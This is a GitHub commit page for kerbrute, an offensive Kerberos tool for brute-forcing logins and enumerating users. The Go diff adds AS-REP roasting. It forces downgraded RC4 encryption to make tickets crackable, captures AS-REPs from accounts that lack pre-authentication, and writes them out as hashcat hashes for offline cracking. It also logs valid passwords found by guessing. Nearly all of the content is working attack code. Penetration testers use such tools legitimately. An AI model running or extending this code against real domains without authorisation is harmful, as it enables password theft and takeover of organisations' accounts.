Skip to content

Commit

Permalink
refactored config; capture asrep hashes (ropnop#33)
Browse files Browse the repository at this point in the history
  • Loading branch information
ropnop authored Nov 16, 2020
1 parent 164eaa9 commit bc1d606
Show file tree
Hide file tree
Showing 6 changed files with 136 additions and 28 deletions.
3 changes: 2 additions & 1 deletion cmd/kerbrute.go
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,8 @@ func init() {
rootCmd.PersistentFlags().BoolVar(&safe, "safe", false, "Safe mode. Will abort if any user comes back as locked out. Default: FALSE")
rootCmd.PersistentFlags().IntVarP(&threads, "threads", "t", 10, "Threads to use")
rootCmd.PersistentFlags().IntVarP(&delay, "delay", "", 0, "Delay in millisecond between each attempt. Will always use single thread if set")

rootCmd.PersistentFlags().BoolVar(&downgrade, "downgrade", false, "Force downgraded encryption type (arcfour-hmac-md5)")
rootCmd.PersistentFlags().StringVar(&hashFileName, "hash-file", "", "File to save AS-REP hashes to (if any captured), otherwise just logged")
if delay != 0 {
threads = 1
}
Expand Down
21 changes: 15 additions & 6 deletions cmd/setup.go
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,10 @@ var (
threads int
stopOnSuccess bool
userAsPass = false

downgrade bool
hashFileName string

logger util.Logger
kSession session.KerbruteSession

Expand All @@ -30,16 +34,21 @@ var (

func setupSession(cmd *cobra.Command, args []string) {
logger = util.NewLogger(verbose, logFileName)
if domain == "" {
logger.Log.Error("No domain specified. You must specify a full domain")
os.Exit(1)
kOptions := session.KerbruteSessionOptions{
Domain: domain,
DomainController: domainController,
Verbose: verbose,
SafeMode: safe,
HashFilename: hashFileName,
Downgrade: downgrade,
}
var err error
kSession, err = session.NewKerbruteSession(domain, domainController, verbose, safe)
k, err := session.NewKerbruteSession(kOptions)
if err != nil {
logger.Log.Error(err.Error())
logger.Log.Error(err)
os.Exit(1)
}
kSession = k

logger.Log.Info("Using KDC(s):")
for _, v := range kSession.Kdcs {
logger.Log.Infof("\t%s\n", v)
Expand Down
13 changes: 11 additions & 2 deletions cmd/worker.go
Original file line number Diff line number Diff line change
Expand Up @@ -76,7 +76,11 @@ func testLogin(ctx context.Context, username string, password string) {
login := fmt.Sprintf("%v@%v:%v", username, domain, password)
if ok, err := kSession.TestLogin(username, password); ok {
atomic.AddInt32(&successes, 1)
logger.Log.Noticef("[+] VALID LOGIN:\t %s", login)
if err != nil { // it's a valid login, but there's an error we should display
logger.Log.Noticef("[+] VALID LOGIN WITH ERROR:\t %s\t (%s)", login, err)
} else {
logger.Log.Noticef("[+] VALID LOGIN:\t %s", login)
}
if stopOnSuccess {
cancel()
}
Expand All @@ -98,7 +102,12 @@ func testUsername(ctx context.Context, username string) {
valid, err := kSession.TestUsername(username)
if valid {
atomic.AddInt32(&successes, 1)
logger.Log.Noticef("[+] VALID USERNAME:\t %s", usernamefull)
if err != nil {
logger.Log.Noticef("[+] VALID USERNAME WITH ERROR:\t %s\t (%s)", username, err)
} else {
logger.Log.Noticef("[+] VALID USERNAME:\t %s", usernamefull)
}

} else if err != nil {
// This is to determine if the error is "okay" or if we should abort everything
ok, errorString := kSession.HandleKerbError(err)
Expand Down
7 changes: 4 additions & 3 deletions session/errors.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
package session

import (
"fmt"
"strings"
)

Expand Down Expand Up @@ -50,11 +51,11 @@ func (k KerbruteSession) TestLoginError(err error) (bool, error) {
eString := err.Error()
if strings.Contains(eString, "Password has expired") {
// user's password expired, but it's valid!
return true, err
return true, fmt.Errorf("User's password has expired")
}
if strings.Contains(eString, "Clock skew too great") {
// clock skew off, but that means password worked since PRE-AUTH was successful
return true, err
return true, fmt.Errorf("Clock skew is too great")
}
return false, err
}
}
104 changes: 88 additions & 16 deletions session/session.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,9 @@ package session

import (
"fmt"
"github.com/ropnop/kerbrute/util"
"html/template"
"os"
"strings"

"github.com/ropnop/gokrb5/v8/iana/errorcode"
Expand Down Expand Up @@ -34,20 +36,65 @@ type KerbruteSession struct {
Config *kconfig.Config
Verbose bool
SafeMode bool
HashFile *os.File
Logger *util.Logger
}

func NewKerbruteSession(domain string, domainController string, verbose bool, safemode bool) (KerbruteSession, error) {
realm := strings.ToUpper(domain)
configstring := buildKrb5Template(realm, domainController)
type KerbruteSessionOptions struct {
Domain string
DomainController string
Verbose bool
SafeMode bool
Downgrade bool
HashFilename string
logger *util.Logger
}

func NewKerbruteSession(options KerbruteSessionOptions) (k KerbruteSession, err error) {
if options.Domain == "" {
return k, fmt.Errorf("domain must not be empty")
}
if options.logger == nil {
logger := util.NewLogger(options.Verbose, "")
options.logger = &logger
}
var hashFile *os.File
if options.HashFilename != "" {
hashFile, err = os.OpenFile(options.HashFilename, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0644)
if err != nil {
return k, err
}
options.logger.Log.Infof("Saving any captured hashes to %s", hashFile.Name())
if !options.Downgrade {
options.logger.Log.Warningf("You are capturing AS-REPs, but not downgrading encryption. You probably want to downgrade to arcfour-hmac-md5 (--downgrade) to crack them with a user's password instead of AES keys")
}
}

realm := strings.ToUpper(options.Domain)
configstring := buildKrb5Template(realm, options.DomainController)
Config, err := kconfig.NewFromString(configstring)
if options.Downgrade {
Config.LibDefaults.DefaultTktEnctypeIDs = []int32{23} // downgrade to arcfour-hmac-md5 for crackable AS-REPs
options.logger.Log.Info("Using downgraded encryption: arcfour-hmac-md5")
}
if err != nil {
panic(err)
}
_, kdcs, err := Config.GetKDCs(realm, false)
if err != nil {
err = fmt.Errorf("Couldn't find any KDCs for realm %s. Please specify a Domain Controller", realm)
}
k := KerbruteSession{domain, realm, kdcs, configstring, Config, verbose, safemode}
k = KerbruteSession{
Domain: options.Domain,
Realm: realm,
Kdcs: kdcs,
ConfigString: configstring,
Config: Config,
Verbose: options.Verbose,
SafeMode: options.SafeMode,
HashFile: hashFile,
Logger: options.logger,
}
return k, err

}
Expand Down Expand Up @@ -81,10 +128,13 @@ func (k KerbruteSession) TestLogin(username, password string) (bool, error) {
if err == nil {
return true, err
}
return k.TestLoginError(err)
success, err := k.TestLoginError(err)
return success, err
}

func (k KerbruteSession) TestUsername(username string) (bool, error) {
// client here does NOT assume preauthentication (as opposed to the one in TestLogin)

cl := kclient.NewWithPassword(username, k.Realm, "foobar", k.Config, kclient.DisablePAFXFAST(true))

req, err := messages.NewASReqForTGT(cl.Credentials.Domain(), cl.Config, cl.Credentials.CName())
Expand All @@ -96,20 +146,42 @@ func (k KerbruteSession) TestUsername(username string) (bool, error) {
return false, err
}
rb, err := cl.SendToKDC(b, k.Realm)
if err != nil {
if e, ok := err.(messages.KRBError); ok {
if e.ErrorCode == errorcode.KDC_ERR_PREAUTH_REQUIRED {
return true, nil
}

if err == nil {
// If no error, we actually got an AS REP, meaning user does not have pre-auth required
var ASRep messages.ASRep
err = ASRep.Unmarshal(rb)
if err != nil {
// something went wrong, it's not a valid response
return false, err
}
k.DumpASRepHash(ASRep)
return true, nil
}
// if we made it here, we got an AS REP, meaning pre-auth was probably not required. try to unmarshal it to make sure format is right
var ASRep messages.ASRep
err = ASRep.Unmarshal(rb)
if err != nil {
e, ok := err.(messages.KRBError)
if !ok {
return false, err
}
// AS REP was valid, user therefore exists (don't bother trying to decrypt)
return true, err
switch e.ErrorCode {
case errorcode.KDC_ERR_PREAUTH_REQUIRED:
return true, nil
default:
return false, err

}
}

func (k KerbruteSession) DumpASRepHash(asrep messages.ASRep) {
hash, err := util.ASRepToHashcat(asrep)
if err != nil {
k.Logger.Log.Debugf("[!] Got encrypted TGT for %s, but couldn't convert to hash: %s", asrep.CName.PrincipalNameString(), err.Error())
return
}
k.Logger.Log.Noticef("[+] %s has no pre auth required. Dumping hash to crack offline:\n%s", asrep.CName.PrincipalNameString(), hash)
if k.HashFile != nil {
_, err := k.HashFile.WriteString(fmt.Sprintf("%s\n", hash))
if err != nil {
k.Logger.Log.Errorf("[!] Error writing hash to file: %s", err.Error())
}
}
}
16 changes: 16 additions & 0 deletions util/hash.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
package util

import (
"encoding/hex"
"fmt"
"github.com/ropnop/gokrb5/v8/messages"
)

func ASRepToHashcat(asrep messages.ASRep) (string, error) {
return fmt.Sprintf("$krb5asrep$%d$%s@%s:%s$%s",
asrep.EncPart.EType,
asrep.CName.PrincipalNameString(),
asrep.CRealm,
hex.EncodeToString(asrep.EncPart.Cipher[:16]),
hex.EncodeToString(asrep.EncPart.Cipher[16:])), nil
}

0 comments on commit bc1d606

Please sign in to comment.